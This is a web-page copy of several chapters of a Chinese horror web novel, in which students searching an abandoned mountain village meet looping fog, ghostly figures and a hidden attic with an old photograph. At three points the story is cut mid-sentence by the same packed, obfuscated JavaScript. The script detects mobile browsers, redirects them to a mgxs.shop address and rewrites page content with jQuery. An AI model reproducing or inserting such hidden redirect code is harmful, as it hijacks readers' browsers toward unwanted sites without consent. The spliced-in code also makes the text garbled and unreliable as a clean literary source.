他们手电的光照不到更远的地方,村子后面隐隐绰绰的山体勾勒出模糊的轮廓,像是藏在暗处的庞大怪物。 第五页抬头的一瞬间,差点巨物恐惧症犯了。 “你在哪个方向看到的黑影?”裴桐问。 她匆匆回过神来,手电光在黑漆漆的村庄里晃了圈,最后指向沿着村庄往山上去的青石路上,“那边。” 于是,两人沿着青石路,一路往荒村的最高处走去。 虽然白天第五页在村子里转了没有几十遍也有十几遍了,按理来说对这个村子的布局,多少座房子,有几扇门,有几扇窗户,大门朝哪个方向,她应该很熟悉才对,但她晚上走却有种完全没来过的陌生感。 害怕华悠悠不知道他们出来找她了,他们边走边喊。 “华悠悠!” 唤了几声,都没听到回答。 反而声音传出去很远,被四周的山体挡住,荡回来,像是惊扰了这里,让他们有种汗毛直立的惊悚感。 他们慢慢往上走去,村子里的路是青石板路,胶鞋磕在上面发出清脆的声音。 在周围空荡的环境下找人,时间一分一秒过得特别慢。 等他们要快走到村庄尽头,围困住荒村的山体轮廓在他们眼前越来越大时,第五页后背已渗出薄薄细汗。 她站在一块小山坡上,咳嗽两声,扯了扯衣领,想要将衣服里的热气散出去。 裴桐听到她的咳嗽声,敏锐地看过来,目光沉沉,最后沉默两三秒说:“我们回去吧,如果华悠悠起夜不可能跑这么远,说不定已经回去了。如果不是,她很有可能已经遇上危险,我们回去跟宋英杰他们说一声。” 第五页停下动作,点头,“嗯嗯。”小山坡上跳下来。 于是,他们又沿原路快步往回赶去。 谁知刚走没两步,周围渐渐模糊起来。 第五页打着手电往周围晃了圈,能见度比之前低了很多,连远处隐隐绰绰的山影都消失了。 手电的光照不出去,前面裴桐稍微走快点,她就看不到他的背影。 她心猛跳了下,大喊一声,“等等。” 前方裴桐闻声停下,身影逐渐清晰。 第五页慢慢走到他身边,“是不是起雾了?” 裴桐这才举着手电往两侧照去。 她又说:“有点不对劲,我总感觉两边房子里有人盯着我们。” 裴桐的手电照向其中一处,薄薄雾气后是年久失修的土房,看不见里面的样貌,一扇摇摇晃晃的大门,两扇窗户,窗户上没有没有窗纸,黑洞洞的,像是被人挖掉眼珠后空荡荡的眼眶。 他还没开口说话,第五页又指着路边一个发灰的石磨盘道,“而且我们好像一直在绕圈子,这已经是第三次经过这个地方了。” 裴桐瞥了眼她指的石磨盘,立在狭小水沟里,像是很久以前就被人丢在这里,一侧结了一圈类似蛛丝的东西。 他蹙眉,抬头对上她亮晶晶的眼睛,“鬼打墙?” “嗯。”在得出是鬼打墙的结论后,第五页的表情并没有立刻扭曲恐惧,反而平静之下有些隐隐的兴奋,亮着一双大眼抬头盯着他,慢慢开口,“裴桐……” 很久没听到她叫自己完整的名字,更何况现在四下无人,无风无影,裴桐愣了一秒。 第五页接着缓缓说道,“……我想我这次可能来对了,这里或许真的有我想要的东西。”边说着,眼中的光似乎越来越亮。 许久,裴桐才回了她一声沉沉的嗯,抓住她的手,“不管是不是鬼打墙,我们先出去再说。” 说完,便不由分说地拉着她继续往下走。 第五页由他带动着往前走去,扭动手腕,浅浅挣扎了下,没挣脱,仿佛从他逐渐用力的手心里感受到他的紧张。 默默在心底叹了口气,安抚似的回捏了他下。 不过裴桐全部注意力都在他们如何走出这个鬼打墙上,并没有发觉。 他们走了很久,走到第五页感觉他们手电的光似乎在慢慢变弱,裴桐拉着她的手心慢慢渗出黏腻细汗,像是要把他们的手牢牢粘在一起。 深夜的雾气不像白天那么明显,手电光慢慢暗下去后,眼睛熟悉黑暗,周围的景色就亮了起来。但雾气的存在又让他们什么都看不清,像是给荒村的夜晚披上一层摸不到的轻纱。 一切都是模糊的,模糊的水沟,模糊的枯树,模糊的土房轮廓。 荒村仿佛变成水中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着说着,她像是自己也认同了,觉得这说不定真的是个方法,边说着边点两下头。 “你认真的?”裴桐眉毛皱得很紧,满眼都是不理解。 “管他真的假的,去问问不就知道了。”说完,也不知道哪儿来的勇气,第五页松开他的手,转头向山坡下走去。 裴桐唤了声,没拦住。 第五页捏着手电,一步一步靠近,随着她的动作土房门口的几个人影动作也慢了下来,她们头挨着头,头挤着头,像是要把几个人的脑袋缝在一起。 歌声不知什么时候消失,换成了叽里咕噜的低语,语速很快,她甚至能够想象到她们嘴皮快速翻飞的样子。 临到近了,第五页嗅到一股浓郁的霉味,混着土腥气直冲鼻腔,让人无端想到梅雨天怎么也晾不干的衣裳。 她揉了揉鼻子,抬眼,没能看清几个老婆婆的模样,好似她们天生就长这样。 壮着胆子喊了声,“婆婆?” 声音脱口的瞬间,眼前雾气涌动。 不知哪吹来一股风,将几个黑影连同低语吹了个一干二净,全部消失在风中。 第五页揉眼快步过去,在刚几个黑影坐的位置找了个遍,连根毛都没找到。 没办法只能作罢,等她再次转身想叫裴桐时。 身后却空无一人。 山坡上静静的,仿佛从始至终就只有她一个人出来过。 12. 第十一章:影队 这种联想让她小臂忍不住起了一层鸡皮疙瘩,回过神后,她连忙大喊两声裴桐的名字。 可惜和华悠悠的情况一样,无论她怎么呼喊都听不到回答。 裴桐不可能丢下她一个人回去,那就只可能是这个村子捣的鬼了。 第五页有些心累地按太阳穴。 这下好了,出来找人,人没找到还丢一个。 她独自站在山坡边旁,思索了几秒,最终还是决定先回去。 如果裴桐发现她突然消失,肯定会回到土房,不管安不安全,人是群居动物,本能还是倾向待在人多的地方。就算他没有回去,她也需要及时将这个信息传递给宋英杰他们。 想完不敢耽搁,第五页捏着手电筒往山下跑去,一路喊华悠悠和裴桐的名字一路跑,期待半路看到他们跳出来。 雾气未散,两旁黑洞洞的土房在枯树的遮掩下不断出现又消失。 看的久了,她开始分辨不清看到的房子是村子里的哪座,一模一样房顶,一模一样的窗户大门,甚至连墙壁上裂开的纹路都一样。 第五页百分百确定自己在原地打转,但是原地停留不能解决问题,她只能不停向下跑去。 就这样,在她不知跑过多少个陌生的门口时。 前方突然出现熟悉的水潭,是他们进村时从溶洞里爬出来的那个。 水潭的上游是一条连接荒村后山的小溪。 此时靠近水潭的小溪尾巴处,传来邦邦邦砸水声。 她扭头一看,和刚才一样,远远瞧见个黑色人影蹲在水边石头上,一只手拿着小臂长的棒槌敲,一只手拽着水里的衣服。 影子机械般重复洗衣的动作,和刚才门口纳鞋底的老婆婆们一样,手臂抬起又落下。 邦——邦——邦 只是这一次,第五页没再过去,而是不多给一个眼神地转身又往上跑去。 村子雾气太大,她不知什么时候跑到这下面来,得赶紧回去通知宋英杰他们。 这么想着,等再次抬头时,她竟发现熟悉的土房就在不远处。 而且此时土房屋内传来令人安心的灯光,大门口正站着宋英杰和裴桐等人,看他们表情显然是在激烈交谈什么。 第五页刚准备大喊一声,不知哪吹来一阵风,眼前雾气渐浓,再睁眼时土房消失,耳边又响起熟悉的砸水声。 她回到了那个水潭边,余光里不远处熟悉的黑色影子还在一下又一下地砸着手中的衣服,她无意识捏紧手电筒。 心底隐隐有个不好的预感,但还是不死心地转身再次往上跑去。 可惜这次还是一样,没跑多久她瞧见裴桐他们,刚想大喊,又被雾气送回了这里。 如此重复了七八次后,长时间狂奔的副作用上来,血腥味涌上第五页的喉头,带动心脏狂跳。 她喘着粗气,垂头扶住膝盖,心脏跟着小溪边的砸水声一上一下。 “搞什么啊。”她咽下喉咙里的血腥味,犹豫三秒后还是决定壮起胆子过去看看。 看现在情况,这地方是铁了心要绕她,而附近除了她就只剩下河边砸水的黑影。 对方不断重复动作,手臂一抬一落,虽然样子很像小时候她见过的姥姥河边洗衣服,但那抬手幅度太大,不像砸衣服,更像是肉摊上的老板在剁骨,水因为挤压离开衣服仿佛血从肉里渗出,带着腐烂的黏腻。 第五页低头看了眼,出来的急她没有带她那把短刀,手上只有一个巴掌大手电,为了给自己壮胆,过去前她从地上随手捞了块石头。 慢慢靠近,砸水声越来越大。 她再次闻到之前在山坡下闻到的霉味,并且在雨水的冲刷下竟变得愈加清晰。 分神两秒,等她再次抬头时,发现河边黑影不知何时又消失不见,只在它刚蹲的石头上留下两个长条形的水印。 第五页莫名松了口气,小心翼翼走到那方大石头上,借着手电微弱的光照了下水面。 小溪很浅,人进去顶天了也不会没过膝盖,刚才看那黑影比人还高一点,应该没跳下去。 她想着,左看右看不见影子,只以为这次或许跟上次门口的老婆婆一样,是被雾气带走了。 转身想要再试试看能不能走回去时,一回头,刚才消失的黑影正紧贴着她后背站在身后。 离得近了没有雾气遮挡,破烂衣服下露出一张青黑色的脸,脸上单单一张皮,见她回头发现它,它的嘴巴飞快张大,越张越大,最后大到像是能把整个脑袋从嘴里翻个面。 由于张大的嘴,第五页一眼便能瞧见它黑洞洞的嘴和喉咙,没有舌头,浓郁的霉味扑面而来,像是从它身体深处喷出。 余光里什么东西一闪,再定睛一瞧,是那怪物刚拿在手里的棒槌正用力朝她挥来。 她心砰砰砰跳起来,身体先做出反应,脑袋飞快向后一闪。 与此同时,怪物疯了般朝她扑来。 她后退半步,拼命抵抗,抓着怪物的手腕,像是抓住一把骨头,可惜石头上的空间很小,一人一影没能扭打两下,便双双向后掉入河中。 第五页是背对着小溪的,摔下去也是整个人仰躺地掉下去。 失重的瞬间,她整颗心狠狠一揪,死死抓住身上的怪物,满脑子都是我不好过,你也别想好过。 冰凉的河水瞬间浸透衣物,从后背包裹她整个身体,钻入发间,耳朵,嘴巴和鼻腔。 脊背和手肘碰到尖锐的东西,硌的人像是骨头要碎掉。 第五页银牙紧咬,扑腾两下,飞快从水里站起,往怀里一捞,只捞了件吸满河水的破烂衣服。 什么怪物,什么黑影,完全没了踪影。 一阵凉风吹来,将衣服上的潮意吹进身体。 她攥紧那件衣服,蹙眉,冷不丁打个喷嚏。 就这么凭空消失了?但为什么衣服还在这里? 难道说刚那只怪物是水做的,跳下河后会和水融为一体? 第五页打了个寒战,顿时感觉腿凉飕飕的,脚下的小溪也膈应起来。 害怕那怪物还会从某个地方跳出来。 这地方不能再待了,她抓着衣服往岸边走去,刚到石头边,正准备撑手跳上石头。 不远处通往村子的小路上,不知何时来了一队人,或许不是人,只是拥有类似人的形状。 瞧见黑影的瞬间,她呼吸一窒,脑袋飞快往下一缩,又蹲回了水里,指甲扣在石头凹陷的部分,露出半个脑袋观察那方。 和那天晚上她和华悠悠在密林里看到的一样,它们一个接着一个从水潭里手脚并用地爬出来,然后整齐有序地往村子里走去。 模糊的雾气下,只能瞧见它们细长的身体,身上穿着的衣服和她手上现在拿的一样破烂。 一个,两个,三个……在第二十一个上岸时。 第五页心生一计,看了眼怀中的衣服,飞快将它披在身上,爬上了岸。 忍受凉风带来的寒冷,悄悄披着衣服跟在了队伍最后面。 衣服里的水从袖口渗出,连串似的在她脚边滴落。 害怕被发现,第五页头埋得很低,连呼吸都不敢太大声。 满脑子都是白天宋英杰说的话,那天晚上齐聪和她们一样起来过,并且看到了密林里的影子,只是当时她们没有追上去,但是齐聪追上去了。 如果分析正确的话,关于这座村子,齐聪一定知道他们更多不知道的东西。 秘密的开关就是这一影队,如果想要找到她要的东西,当下就是最好的机会。 也许是因为湿衣服紧贴在皮肤上,走路带起的风衣服上的水意吹进身体,潮湿的,冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069397|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的,极度寒冷让此时的她完全忘记了跟上去之后会遇见的危险。 好在虽然莽撞,但是前面的影队并没有发现队伍里突然出现了一个人。 它们沉默地走着,脚落在地上听不到任何声音。 第五页耳边只有身上水珠随着她的动作滴在石路上的声音。 滴答,滴答,让人莫名联想到下雨。 等耳边再次清晰起来时,她一抬头竟发现自己跟着它们不知何时又回到了土房附近。 和之前看到的一样,土房内传来令人安心的灯光,宋英杰和裴桐等人正站在门口激烈争论着什么。 她不自觉停下脚步,望着那方,听到他们越来越清晰的声音,才猛然意识到他们没有突然消失,她好像走出来了! 再转头看影队的方向,它们正隐匿在完全相反的一条小路上,往村子后面的山上走去。 是继续跟,还是现在回去? 第五页咬牙思考了五秒,最终还是放弃了跟上去,转身朝裴桐他们跑去。 到了近处,争吵声唤醒她的五感,她哆哆嗦嗦搂住自己,打了个喷嚏,张嘴想要大喊,才发现自己喉咙不知道在什么时候撕裂,只能发出嘶哑的声音,“我在这……” 裴桐第一个发现不远处的她,立马丢下宋英杰和曹永朝,快步朝她走来,“你没事吧?” 准备上下检查一下,却摸到一手的水,才发现她整个人都是湿的,身上还披了件陌生的破烂衣服,动作一僵,“这是什么?” 身后跟来的宋英杰和曹永朝也发现她整个人湿漉漉的,连珠炮似的发问,“你去哪了?怎么身上这么湿?” 曹永朝说:“对啊,我跟社长醒来发现裴桐留消息说你们出去找华悠悠了,结果裴桐半路跑回来说你也不见了,怎么回事?你这是掉水里了?” 一连串的问题倒豆子似的扑面而来,第五页脑袋都大了,根本不知道该回答哪一个,只能低声咳嗽两声,摇摇头,“说来话长……对了,华悠悠呢,你们找到了吗?” 宋英杰他们刚准备摇头,身后土房内传来脚步声,华悠悠边揉眼睛边从她们的房间走出,迷迷糊糊靠在大门边说:“这么晚了,你们在干什么呢?” 门口四人齐齐望向那方,宋英杰惊叹道,“你怎么在屋里?” “啊……”华悠悠蒙了,脸上还带着未下去的困意,“我……不应该在屋里吗?” 曹永朝过去,“第五页说看见你出去了,她和裴桐担心你出事出去找你来着。你没事吧?” “啊,半夜?”听到有人大半夜出去找她,华悠悠一下子清醒了,扫了眼裴桐和湿漉漉的第五页,略感愧疚地合手,“抱歉抱歉实在抱歉,我应该是半夜出去上了个厕所,没想到会惊动大家。” 大晚上站在空地冷飕飕的,更何况第五页现在全身还湿着,她被裴桐搀扶着走到门口。 华悠悠瞧见她身上的水,“天呐,叶子你怎么身上都是水,是掉进水里了吗?” 更加愧疚了,“真的很抱歉。” 第五页对她浅浅笑了下,摇头,“没事,你人没事就好。” “你什么时候回来的?”她哑着声音问。 “不记得了。”华悠悠说:“我只记得我刚躺下准备睡觉,就听到你们在外面说话。” 第五页目光凝重,不知在思考什么。 门口站的久了,她冷不丁打了个喷嚏。 “别站在门口了。”华悠悠眼疾手快地扶住她的另一边肩膀,“我扶你进去换件干净衣服吧。” 说着从裴桐手中接过她。 第五页借着她的力道,往她的方向一偏,下意识低头,瞧见华悠悠的鞋子。 半夜起床,她并没有完全穿进去,而是踩着后跟,两只鞋的鞋外侧都沾上了新鲜的泥印,看上去是那么刺眼。 13. 第十二章:阁楼 兵荒马乱的一晚就这么匆匆结束。 第五页被华悠悠扶着回房间换了衣服,因为愧疚,后者拿了自己干爽的衣服。 进村不过两三天,就换了三次衣服。 她带进来的干净衣服也穿的差不多了,便没多拒绝,只想着明天不管下不下雨都应该把另外两件衣服找个地方晾一晾。 - 次日,第五页又一次被土房后的瘦鸡叫醒。 听着一长一短的鸡鸣,她精神恍惚地盯着发霉的房梁许久,以为昨晚做了一场很长的噩梦。 然而等她起身,发现浑身酸痛,喉咙嘶哑的厉害才想起昨晚的根本不是噩梦。 华悠悠推开门进来,进来的一瞬间仿佛闻到什么刺鼻的味道,眉毛蹙起,手在眼前扇了扇,“嗯,什么味道?这房间里什么东西发霉了吗?” 说着她过去打开窗户,并把房间门大敞开,想要给屋子透透气。 余光瞧见第五页醒来,开完门和窗,又朝床上的她走来,惊喜道,“叶子你醒了啊?” 第五页颔首,起身在床边坐下。 华悠悠抿唇,纠结地分辨她的脸色,“你感觉怎么样?有没有发烧?” 第五页感受了下,摇头,哑着嗓子说:“还好,就是嗓子有点疼。” 华悠悠明显松了一口气,随后又有些愧疚地说:“昨天晚上真的很抱歉啊,我不知道你们会出来找我,还害你掉进水里。” “没事,是我自己不小心。”第五页倒是没有放在心上,浅浅勾出一个笑,安慰她。 “对了。”华悠悠像是忽然想起什么,指了指一旁旧木桌上的保温杯,“这个是你的药吧,我看你一路上你好像经常喝,裴桐走的时候拿过来的,说等你醒来,让我提醒你喝。” “谢谢。”第五页拿起保温杯,是裴桐那个,“你说走的时候?裴桐他们现在没在房子里?” “嗯。”华悠悠点头,“社长他们去附近山上了,想看看能不能找到其他出路。” 第五页了解似的颔首。 见她没有事,华悠悠说她可以多休息下,有事就叫她,说完没待多久又出了房间。 而第五页独自待在房间里,纠结了半天,最终还是喝了保温杯里的药,又在床上休息了会儿,感觉屋子里确实太闷了,起身出去。 来到堂屋,一眼看到华悠悠不知从哪弄来一个小刷子和木盆,接了点水,蹲在大门口刷鞋,一点一点刷去她昨天那双鞋外侧的泥印。 她站了会,冷不丁开口问,“你昨晚是在哪里上的厕所?” 华悠悠被吓了跳,惊讶地回头看了她一眼,“你出来了啊。” “嗯,出来透透气。屋子里确实太闷了。” 华悠悠赞同地点头,随后又想到她刚才的问题,思考了两秒答,“在哪上的我忘记了,当时天太黑,应该就在附近。” 第五页继续问:“你昨天晚上出去怎么没叫我?” “啊。”华悠悠下意识想摸后脑勺,但是手上还有东西,半路又停了下来,有些尴尬地笑了笑,“其实我也不太记得了,就模模糊糊记得半夜醒来想要出去上厕所,结果也不知道跑到哪儿去,好像还摔了一跤,弄得我鞋子裤子上都是土。” 第五页没说话,过了会儿又问:“昨晚我和裴桐出去找你的时候喊过你的名字,你有听到吗?” 华悠悠有些不好意思地摇了摇头说:“……好像没有。” 她不问了。 休息了会儿,感觉好多后,也去房间里拿了前几天换下的衣服,准备跟着华悠悠一起简单洗了洗。 找衣服时,意外在她们床脚边,找到她昨天晚上披回来的烂衣服,衣服被随手揉成一团,堆在不起眼的角落里。 刚靠近便闻到直冲鼻腔的霉味,这下,她算知道这房间里总散不掉的霉味是哪里来的了。 第五页蹙眉,捂着鼻子蹲下靠近,从床角捡起烧掉一半发潮发霉的线香,戳了戳那堆衣服,挑起一角。 衣服长时间被水浸泡,已经看不出原本的颜色,经过一夜的覆盖,黄泥地上留下去不掉的深色水印,潮湿的霉味随着衣服暴露在空气中的面积增大,愈发向周围扩散开去。 这一瞬,看不见的霉菌也像是从她手指缝隙钻进了口鼻。 有那么一瞬间,第五页感觉自己的口鼻仿佛被它们不留空隙地堵住,一口气怎么也喘不上来。 直到心脏猛地撞击胸腔,她才堪堪回过神来。 想到昨晚是披着这衣服回来的,她就感觉后背一阵发麻。 快速用线香挑出去处理掉后,才拿上自己的衣服去洗。 村子里没有晾衣服的地方,第五页和华悠悠在两棵矮树间拉了根尼龙绳搭着。 荒村处于山凹处,太阳照不进来,还时不时下雨,第五页抬头撇了眼今天阴沉沉的天,很是怀疑她们的衣服能不能在这里晾干。 宋英杰他们出去找其他出路了,她们也不愿意在房子里闲着,经历了昨天晚上的事,第五页决定今天再把荒村好好转一转。 跟华悠悠说了一声,她拍拍相机,说也要一起。 于是她俩商量了下,决定从进村的水潭一路往上走。 路上第五页简单跟华悠悠讲述了她昨晚和裴桐出去找她遇见什么,后者先是愧疚地又道了几次歉,随后听到她在村子里看到那天晚上她们看到的黑影,眼底的光登时亮了起来,舔舔嘴唇,犹犹豫豫问她现在白天能不能带她去看看。 反正自己现在也要过去,第五页便没拒绝。 两人循着记忆往坡下进村的小水潭找去。 前些天山体滑坡泥水冲塌的地方在另一个方向,不过她们下去的时候需要路过那里。 青天白日,第五页她们找下去时,路过随意撇了眼。 被冲塌的房梁断成两截竖插在稀烂的泥土里,碎石块砖块还有腐烂衣物堆成坟包的形状,仿佛不久前有人被埋在了这。 第五页盯着那方看了几秒,仔细想了想,她好像不太记得昨晚路过这片时周围是不是跟她现在看到的模样一样了。 又或者说,她昨晚往山下跑的时候有路过这里吗? 第五页回忆了半天没想起来,便没再继续想了,继续往下走去。 来到昨晚和那不知道什么东西搏斗的小河附近。 她站在同一块大石头上,两侧是茂盛到吓人的植被,荆棘繁叶交错,几乎遮住整个视野。 需要她将那些植被用力拨开,才能看见底下的流水。 常年藏匿于阴处,没有阳光照拂,流水冰冷刺骨,手刚伸进去就被冻了个哆嗦。 第五页收回手甩甩指尖上的水珠,扫视一圈附近。 华悠悠站在她身后举着相机拍照,拍了两三张后兴奋小声问她,自己可不可以也上来看看。 第五页拍手跳下石头,扶华悠悠上去,“嗯,小心点别滑下去。” 待华悠悠在石头上站稳后,又是对着周围一顿咔咔乱拍,但拍了半天,也没拍出个所以然。 转头便想问问第五页还没有昨晚事情发生的更多细节。 她仔细回忆了下,有些不确定说道,“……嗯……好像有些不太一样。” “嗯?哪里不太一样?”华悠悠:“是我们找错地方了吗?” 第五页摇了摇头,“不是,位置应该没错。标志的进村的水潭和石头都在这里,但小河变窄了,昨晚我是整个人都掉进去,没有这么窄,而且……现在这里周围的植被也很茂盛。” 华悠悠跟着从石头上跳下来,看了一圈周围,摘了一片最近矮树上的叶子,夹在指尖看了看,像是开玩笑般对她说:“会不会……是你昨晚去的那个地方其实是这个村子的过去?但是现在白天你醒来了……所以才跟你记忆中的样子不太一样?” 第五页能明白她的意思,但世界上真的有这么神奇的事吗? 没有具体答案之前,她也不敢下结论,勉强笑了下,“或许吧,我们去下个地方看看。” 华悠悠眼睛瞬间又亮了起来,举着相机缓缓点两下头,“……好” — 第二个地方是昨晚第五页和裴桐遇几个老婆婆纳鞋底的地方,具体是村子里哪一座土房,她也不太确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074481|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能够确定的是位置应该在高处。 她和华悠悠往上走了很久,最后靠路边水沟里的石磨盘大概确定了几栋房子。 几栋房子的布局都差不多,或许是村子里同一批人同一时期建的,土房里的屋内陈设,窗户朝向,甚至屋子后面做饭的地方都一模一样。 只有一栋不太一样,那栋土房多出个二楼。 通往二楼的楼梯在个很刁钻的位置,竟然在主人家卧室的衣柜里。 这楼梯也是华悠悠乱翻时意外发现的。 打开衣柜门的瞬间,一股带着潮意的浓郁霉味扑面而来,像是要把人掀翻过去。 害怕这气味有毒,她连忙捂上口鼻。 等过上好一阵,感觉味道散的差不多了,才闷着声音喊外面的第五页。 “叶子!” 外面的人匆匆赶来,瞧见衣柜里的楼梯,和她一样惊讶。 华悠悠在犹豫上不上去,这个地方看起来就关了很久了,上面也不知道有没有窗户,是不是一片漆黑。 她侧头看第五页,犹犹豫豫询问:“咱们上去吗?” 第五页从口袋掏出一盒火柴,划燃,护着火光往楼梯深处探了探,火苗在掌心跳动着。 光线虽小,但火柴伸进去后并没有立刻熄灭,而是直到快燃烧完了才掉落下去。 她转头回复华悠悠,“看起来上面有空气,应该有通风的地方,我想上去看看,如果你害怕的话,可以在这里等我。” 华悠悠抿了抿唇,犹豫了一会儿,最终还是决定,“我还是和你一起上去吧。” 第五页倒也没阻拦她,只是对他说,“那你跟在我后面,如果感觉什么不对劲,就扯扯我的衣服。” 华悠悠颔首,答应了下来。 第五页打头阵,从口袋里掏出一小截手电,往向上延伸的楼梯深处照去,不少灰尘因为她们的到来被惊起,在光束行过之处毫无规律地拥挤着。 她今天穿的长袖,拉长一只手的袖子,捂住口鼻,俯身钻了进去。 先用脚探探楼梯的结实程度,许久未有人踩踏的木质楼梯,在她踏进去的瞬间就发出嘎吱声响。 第五页迟疑一秒,确认这声响不会造成楼梯突然断裂后,才继续缓慢往上爬去。 潮湿的霉味从衣服缝隙挤进她的鼻腔,爬满她们的眼珠,熏得人睁不开眼睛。 华悠悠小心翼翼地跟在后面,时不时扇两下风,忍不住咳出声,然后惊起更多灰尘。 两人一前一后,缓慢往上爬去。 好在这二楼并不高,没走两步,她们便摸到了阁门。 阁门没上锁,第五页摸了两把,只摸到黏黏糊糊的潮意,用力一推,在突然变大的嘎吱声中,门被推开了。 弯腰踏进去的第一感受是逼仄,天花板很矮,几乎在她们抬头触手可及的地方,空间狭小,比起说是一个房间,阁楼可能更像些。 好在里面的陈设很少。 第五页的手电筒光扫视一圈,只看到一个大木柜,一张书桌,还有一张断了条腿的木椅。 地上铺满厚厚的灰尘,灰尘上可疑的纹路像是虫子爬过的痕迹。 最后进来的华悠悠下意识掏出相机,定格下她们初次到这里的画面。 拍完照,华悠悠捂着口鼻闷声猜测道,“这个二楼这么小,上来的地方又这么隐蔽,不会是以前住在这个房子里的人用来藏人或关人的吧?” 第五页走到书桌附近,在墙上摸到一小扇窗户,费了点力气推开,风从外面灌进来,带了点雨丝。 又下雨了。 她不自觉想起中午和华悠悠洗的衣服,有点担心。 视线从窗口送出去,猛然看见一个青黑色的老奶奶,穿着厚厚的破旧衣服,弯着身体,蹲坐在他们对面那座土房的门口,漫无目的面朝村口的方向,像是在等着谁。 突然老奶奶像是察觉到她的目光,缓慢抬起了头,看向她这边。 这一刹那,明明两人还隔了段距离,她却清楚地意识到老奶奶没有眼珠,眼眶空落落的,和她身后的房子一样,了无生气。 14. 第十三章:照片 第五页心一惊,揉了揉眼睛,再次睁眼往那儿看去,却什么也没看到。 正在她疑惑是不是自己出现幻觉时,旁边华悠悠不知什么时候过来,拉开书桌的抽屉,发出惊喜的呼声。 她循声望去,只瞧见华悠悠从抽屉深处拿出一架灰白色的老旧相机,相机镜头早已花掉,没有皮包保护,外壳似乎因为潮湿的天气长上了霉菌。 作为一个摄影发烧友,华悠悠眼睛里闪着光,拿相机翻来覆去地看,“我还以为这个村子的年龄起码过百了,没想到还会有跨时代的东西。” 她尝试性地按了几下,不出预料地没有打开,失望低下声音,“可惜打不开了。” 第五页走过去,看了两眼她手中的相机,又低头在她翻开的抽屉里找到一个巴掌大的藏青色皮革本,和一根丢失笔盖没有墨水的钢笔。 她拿出那个皮革本,由于长时间处于潮湿的环境里,本子的封面上是大片的灰白霉点,水汽从没有包裹的侧面渗透进去,留下类似油脂的纹路。 尝试翻开才知道,由于太长时间没有人打开,里面的纸张被霉菌和水粘连到了一起,根本无法简单分开。 她试了几下没办法做到后,不得不放弃。 好在虽然不能查看里面写的什么,但在本子的第一页,没有粘连的部分,找到一张被夹着的照片。 照片同样被水汽侵染,里面人影大都模糊,唯有一个挤在照片边缘的男人还能勉强看清楚模样,第五页盯着照片中的男人,总感觉很熟悉,却想不起来在哪见过。 并且伴随着这种熟悉感来的还有害怕,让她觉得像是身体的某一部分被挖掉,她似乎忘记了什么重要的事。 牛角尖似的,死死盯住照片中的人,这种感觉仿佛朋友路上哼了一段曲子,或者说了一句话,她有些印象在哪里听过或看过,却拼命想也想不起来,于是吃饭的时候想,走路的时候想,上厕所的时候想,就连睡着了那些问题也跟着到了她的梦中。 最后在问题的漩涡越陷越深。 直到旁边,华悠悠忽然将她唤回神,“你在看什么呢?” 第五页这才怔愣抬起头,轻轻啊了一声。 循着她一直盯着的照片看去,华悠悠歪了下脑袋,疑惑出声,指着刚才她死死盯着看的照片最边缘的男人,“这个人有点眼熟啊?” 第五页像是抓住丁点线索,连忙发问,“你认识他?” 华悠悠绷紧唇线,片刻摇了摇头,“我不认识。” 第五页只失落了一瞬,立马又反应过来,如果华悠悠也感觉熟悉的话,那就说明这个人她俩都见过,是学校的人?还是社团里的人? 为什么照片会出现在这里? 她盯着那张照片,似乎又陷入了那场漩涡当中。 最后是什么时候回去的,她已经不太记得了,只记得回到土房时,裴桐他们已经回来了。 第五页手里还紧紧捏着那张照片,脑袋想着事情,没注意房子里有人出来,和对方撞了个满怀。 抬头才发现是裴桐,回来不见她们,正好也要出去找,没想到在门口碰见。 华悠悠眼神在他们身上扫视一圈,然后举了举相机,说先去整理拍到的照片了,说完回了房间 第五页抬起头盯着裴桐,看着他嘴巴一张一合,实际上脑袋还记挂着照片中的男人,没有听清楚他的话。 直到裴桐耐心地询问第二遍,她才总算回过神来,“你们今天去哪儿了?” “啊。”第五页张了张嘴,无意识地答道,“随便在村子里逛了逛。” 然后低头的瞬间,余光忽然瞥到他手中握着的东西,脑海中的某根弦瞬间被拨动,飞快指向他的右手问,“这是什么?你哪儿来的?” 裴桐将东西拿到她面前,张开掌心,默了片刻,才回答她,“刚才堂屋里捡的。” 第五页拿过那个东西,比划两下,重量很轻,材料是木头,外形精巧,雕刻出匕首的模样,仔细看还能在刀柄上看出几小块泥印,像是人紧紧握住嵌上去的。 第五页又看了一眼裴桐的手,他俩的手都是干净的。 又问,“你刚刚捡到的?具体什么时候?” 裴桐如实回答,“出门碰见你的前几秒。” 也就是从刚才到现在不超过两分钟的时间,他们五个当中也没有会对这种木雕类的东西感兴趣的人。 这木匕首虽然上面沾了很多泥印,但看起来还很新,似乎才被制作出来没几天。 在他们进入这个荒村后,有人进过他们住的地方?什么时候? 第五页脑海中不知为何想到那张照片,想着便抬起拿着照片的那只手,再次看向照片边缘的男人。 不对劲。 她感觉他们似乎忘了什么事。 